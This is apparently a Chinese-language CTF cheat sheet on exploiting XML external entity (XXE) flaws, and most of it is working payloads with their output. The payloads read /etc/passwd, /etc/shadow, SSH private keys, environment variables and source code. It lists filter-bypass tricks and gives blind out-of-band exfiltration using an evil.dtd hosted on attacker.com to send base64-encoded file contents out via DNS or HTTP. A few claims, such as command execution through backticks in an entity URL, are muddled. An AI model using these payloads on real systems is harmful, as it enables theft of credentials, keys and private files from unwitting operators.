XXE利用方法总结
CTF 中,XXE 是常出现在:
- XML 文件上传
- SOAP 接口
- RSS 订阅
- 配置文件解析
- 图片/文档元数据解析(如
.docx, .svg)
XXE 利用前提
| 条件 |
说明 |
| 服务接收 XML 输入 |
如 POST /upload、GET /xml |
| 使用不安全的 XML 解析器 |
如 Python xml.etree, Java DocumentBuilder |
| 未禁用 DTD/外部实体 |
默认解析器常开启 external entities |
| 有回显 / 无回显 |
决定利用方式 |
有回显 XXE
基础利用模板
1 2 3 4 5
| <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
|
服务器返回:
1 2 3
| <root>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...</root>
|
常见利用 Payload
| 目标 |
Payload |
说明 |
读取 /etc/passwd |
file:///etc/passwd |
|
读取 /etc/shadow |
file:///etc/shadow |
|
| 读取源码(PHP) |
php://filter/convert.base64-encode/resource=index.php |
绕过文件读取限制,返回 base64 |
| 读取环境变量 |
file:///proc/self/environ |
获取 PATH, SECRET_KEY 等 |
| 读取 SSH 私钥 |
file:///root/.ssh/id_rsa |
常见于 Docker/CTF 虚拟机 |
| 读取 flag 文件 |
file:///flag 或 file:///opt/flag.txt |
|
| 读取 Web 根目录 |
file:///var/www/html/index.php |
适用于 Apache/Nginx 环境 |
| 读取 Windows 系统 |
file:///C:/Windows/System32/drivers/etc/hosts |
Windows 环境下使用 |
绕过技巧
| 陷阱 |
绕过方法 |
| 返回被过滤 |
用 base64 编码:php://filter/convert.base64-encode/resource=/flag → 解码即可 |
| 空格被过滤 |
用注释替代:file:///etc//passwd、file:///etc/passwd/* |
file:// 被拦截 |
尝试 php://input、php://filter、dict://、gopher:// |
| 只允许 GET |
用 SYSTEM + ENTITY 构造在 URL 参数中(如 ?xml=<xml>...</xml>) |
| XML 被转义 |
用 <![CDATA[ ... ]]> 包裹实体:<![CDATA[&xxe;]]> |
无回显 XXE
核心思路:让服务器“主动请求”我们的服务器 → 通过日志获取数据
方法 1:DNS 外带
1 2 3 4 5
| <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://xxe.attacker.com/?data=cat /flag"> ]> <root>&xxe;</root>
|
服务器发起 HTTP 请求 → 攻击者在 attacker.com 的服务器日志中看到:
1
| 192.168.1.10 - - [01/Apr/2025:10:00:00] "GET /?data=cat /flag HTTP/1.1" 200
|
** cat /flag 不会直接传过去 → 需用 Base64 编码 + DNS Tunnel
方法 2:DNS Tunnel
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <root>&send;</root>
|
evil.dtd(部署在攻击者服务器):
1 2
| <!ENTITY % eval "<!ENTITY % send SYSTEM 'http://%file;.attacker.com/'>"> %eval;
|
原理:
%file; 读取 /flag 并 base64 编码 → 得到 Y2Z0c2hvd3t4eGVfaXNfZW1wb3J0YW50fQ==
%send; 构造请求:http://Y2Z0c2hvd3t4eGVfaXNfZW1wb3J0YW50fQ==.attacker.com/
- 攻击者查看 DNS 查询日志 → 解码 base64 → 得 flag!
方法 3:HTTP 外带(SSRF)
1 2 3 4
| <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/?data=`cat /flag`"> ]> <root>&xxe;</root>
|
服务器请求 http://attacker.com/?data=cat%20/flag
若响应时间变长 → 说明命令执行了(需配合 sleep())
但大多数环境不支持命令执行 → 仅用于探测端口 / 文件存在性
方法 4:时间盲注
1 2 3 4
| <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/sleep?time=5"> ]> <root>&xxe;</root>
|
常用于:无回显 + 无法 DNS / HTTP 外带时,确认漏洞存在
CTF 常见 Flag 路径汇总
| 系统 |
路径 |
| Linux |
/flag, /flag.txt, /opt/flag, /home/ctf/flag, /var/www/flag |
| Docker |
/flag, /app/flag, /root/flag |
| Windows |
C:\flag.txt, C:\Windows\Temp\flag.txt, C:\Users\ctf\flag.txt |
| PHP 环境 |
php://filter/convert.base64-encode/resource=index.php |
| Java 环境 |
file:///opt/app/flag.txt |
XXE 利用流程图
1 2 3 4 5 6 7 8
| graph TD A[收到 XML 输入] --> B{有回显?} B -- 是 --> C[使用 file:/// 或 php://filter 读取文件] B -- 否 --> D[尝试 DNS 外带] D --> E[构造 DTD + %file; + %send;] E --> F[部署 evil.dtd 到服务器] F --> G[观察 DNSLog / Interact.sh 日志] G --> H[Base64 解码得 Flag]
|